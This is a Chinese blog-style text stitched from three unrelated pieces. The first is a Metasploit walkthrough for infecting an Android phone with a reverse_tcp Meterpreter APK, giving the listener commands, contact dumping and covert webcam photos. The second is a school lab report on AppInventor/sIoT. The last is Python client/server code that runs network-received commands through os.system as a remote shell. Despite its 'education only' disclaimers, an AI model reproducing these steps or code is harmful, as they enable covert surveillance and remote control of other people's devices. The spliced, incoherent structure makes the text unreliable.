前言

严正声明：本文仅限于技术讨论与分享，严禁用于非法途径。

本文目的：演示如何借助Kali Linux系统的Metasploit渗透测试框架生成远程控制程序，然后感染局域网内的Android手机，从而实现对目标手机数据的读取、音频的窃听、位置的获取、软件安装或卸载等。

环境说明

Win10主机和手机应连接同一个WIFI，Kali虚拟机安装在VMware中，使用桥接模式使得可配置其IP地址跟物理主机、手机在同一个网段之中，形成一个小局域网。

关于如何配置虚拟机的IP和网络，请访问另一篇博文：渗透测试-Kali虚拟机。

环境准备

远控生成

1、先说点废话，来确认下 Kali 虚拟机配置好的IP地址：

2、在 Kali 终端输入以下命令在 Kali 虚拟机/root路径下生成远控文件520.apk：

传输远控

远控文件已经生成了，但如何从 Kali 虚拟机传输到 Win10 物理主机并进一步传输到受害者手机呢？

1、使用Xshell远程连接工具，新建如下SFTP协议的文件传输会话：

2、同时配置好与远程 Kali 主机对接的本地文件夹，用于 Win 10 主机传输文件的默认存放路径：

3、输入 kali 主机的账户和密码进行登陆并成功连接后，使用命令get 520.apk从Kali 主机下载远控文件到本地文件夹D:\Code下：
4、在 Win 10 主机本地文件夹确认下文件是否下载成功：

安装远控

1、再废话一下，查看并确认华为测试手机的IP地址与 Kali 虚拟机、Win 10主机在同一网段内：

2、在 Kali 虚拟机里查看能否连通手机（这是后续攻击成功的基础）：

3、在 Win 10 主机打开QQ程序，向华为手机发送远控文件并安装(这个就不用演示了吧…)，安装后如下：

开始测试

MSF监听

Kali 终端依次执行以下命令：

msfconsole                //启动msfconsole
use exploit/multi/handler //加载模块
set payload android/meterpreter/reverse_tcp //选择Payload
set lhost 192.168.0.199  //这里的地址设置成我们刚才生成木马的IP地址
set lport 9999           //这里的端口设置成刚才我们生成木马所监听的端口
exploit                  //开始执行漏洞，开始监听,等待手机上线

1、在 Kali 终端输入msfconsole命令启动Metasploit框架：

2、依次以下执行命令加载攻击模块、选择Payload、设置本地监听主机的IP和端口：

3、执行命令exploit，开始执行攻击程序，进入监听状态，等待目标手机上线（用户点击远控程序）：

4、此时手动点击刚才手机中安装的MainActivity程序图标（没有界面），则可成功建立攻击会话：

5、此时输入help命令可查看具体的攻击命令和描述，后面将选择几个进行演示：

命令行执行

成功建立攻击会话后可以对受害者手机进行像Linux主机shell一样对手机进行命令执行操作：

通讯录下载

1、在攻击会话中执行dump_contacts命令导出受害者手机通讯录里的信息到 Kali 虚拟机/root路径下：

2、在虚拟机中查看一下导出来的通讯录文件：

3、同理可导出受害者手机中的短信记录、通话记录……但是此手机没有插手机卡(穷……)，故此处不做演示了。

摄像机拍摄

在攻击会话中执行命令webcam_snap ，可开启受害者的摄像头自动拍摄一张照片并保存到Kali 虚拟机中：
同理还可以非法调用受害者手机的录音功能、屏幕截图功能……

至此，本次Kali系统生成远控程序后控制局域网内Android手机的演示结束，其他控制操作读者有兴趣的话可自行借助help命令给出的使用命令描述进行体验。

温馨提醒：此次演示中的远控程序没有图形化界面的伪装，真实的环境中攻击者会将其伪装得跟正常软件一样，这提醒了我们不要轻易安装安全性未知的软件，同时不要轻易连接公共WIFI，让自己的设备暴露在攻击者搭建的局域网下……

一、实验目的及要求
【实验二】通过AppInventor结合sIoT实现手机app控制掌控板的灯和显示内容。
二、实验原理与内容
借助sIoT可以通过手机app实现局域网内的设备操控。
三、实验软硬件环境
硬件：掌控板
软件：Mind+
四、实验过程（实验步骤、记录、数据、分析）
实验二：通过AppInventor结合sIoT实现手机app控制掌控板的灯和显示内容。



五、测试/调试及实验结果分析




成功实现手机app对掌控版灯颜色的修改的实现和显示内容。
六、实验结论与体会
实验二
通过本次实验，接触到了APPInventor，加深了SIoT使用的原理的理解，通过实现手机app控制掌控板的灯的颜色。

程序分为两部分，一个是客户端也是被操控的端口，另一个是服务端就是用来操作被操控的端口

点个赞留个关注吧！！

程序很简单，是通过局域网聊天系统改造而成，没有高级的GUI框架，只有简简单单的DOS窗口，这个仅供学习，当然也可以在你的第二台电脑里放入客户端，然后用服务端进行指令操作，也是很不错的。

客户端会自动获取你的 IPv4 地址，并显示出来，需要用客户端给出的IP地址去服务端进行连接。执行指令也很简单，用接收到的数据进行os.system()进行执行。想法多的也可以做一个鼠标定位数据传输，可达到鼠标控制电脑，想法很大，行动很难。这个是一个供学习的

客户端：

import socket
import os
import psutil

# 执行接收到的命令
def send_data(data):
    os.system(data)
    print('[-][+][~]执行命令:[',data+']')

Database = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

# 获取IPv4地址
info = psutil.net_if_addrs()
wlan = info['WLAN']
def myaddr():
    for i in wlan:
        for myaddr in i:
            if '192.168' in str(myaddr):
                return myaddr
Database.bind((myaddr(),8888))
Database.listen(1)
def main():
    while True:   # 持续循环执行
        try:      # 接受数据和命令，如果出错则视为已断开连接
            print(f'[#~]当前服务器IP地址为[{myaddr()}]...')
            print('[#~]等待连接中...')
            sed,dree=Database.accept()    # 等待服务端接入
            print('[+]已连接服务器.')
            while True:
                if sed.recv(1024).decode('utf-8') == '':
                    break
                data = sed.recv(1024).decode('utf-8')#接受数据
                send_data(data)   # 发送
        except:
            pass
        print('[-]连接已断开..\n')

if __name__ == "__main__":
    main()

服务端需要客户端输出的IP地址才可以连接上，输出的指令尽量不要把客户端的DOS窗口顶掉，列如cmd直接就给替换掉了，尽量使用start cmd 即可打开

服务端：

import socket
udp_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
def main():
    while True:
        DATA = input('请输入指令：')
        if DATA == '':
            pass
        else:
            if len(DATA):
                udp_socket.send(DATA.encode('utf-8'))
                udp_socket.send(DATA.encode('utf-8'))
if __name__ == '__main__':
    myaddr = input('输入要连接服务器的IP地址：')
    udp_socket.connect((myaddr, 8888))  # 连接服务器
    data_list = ''   # 测试
    udp_socket.send(data_list.encode('utf-8'))
    main()

我们输入客户端的IP地址，回车可以看到没有报错说明连接上了

 这个是客户端，可以看到已经连接成功，我们使用服务端操作一下指令

服务端，我们start cmd 打开cmd

 客户端，可以看到已经打开了cmd窗口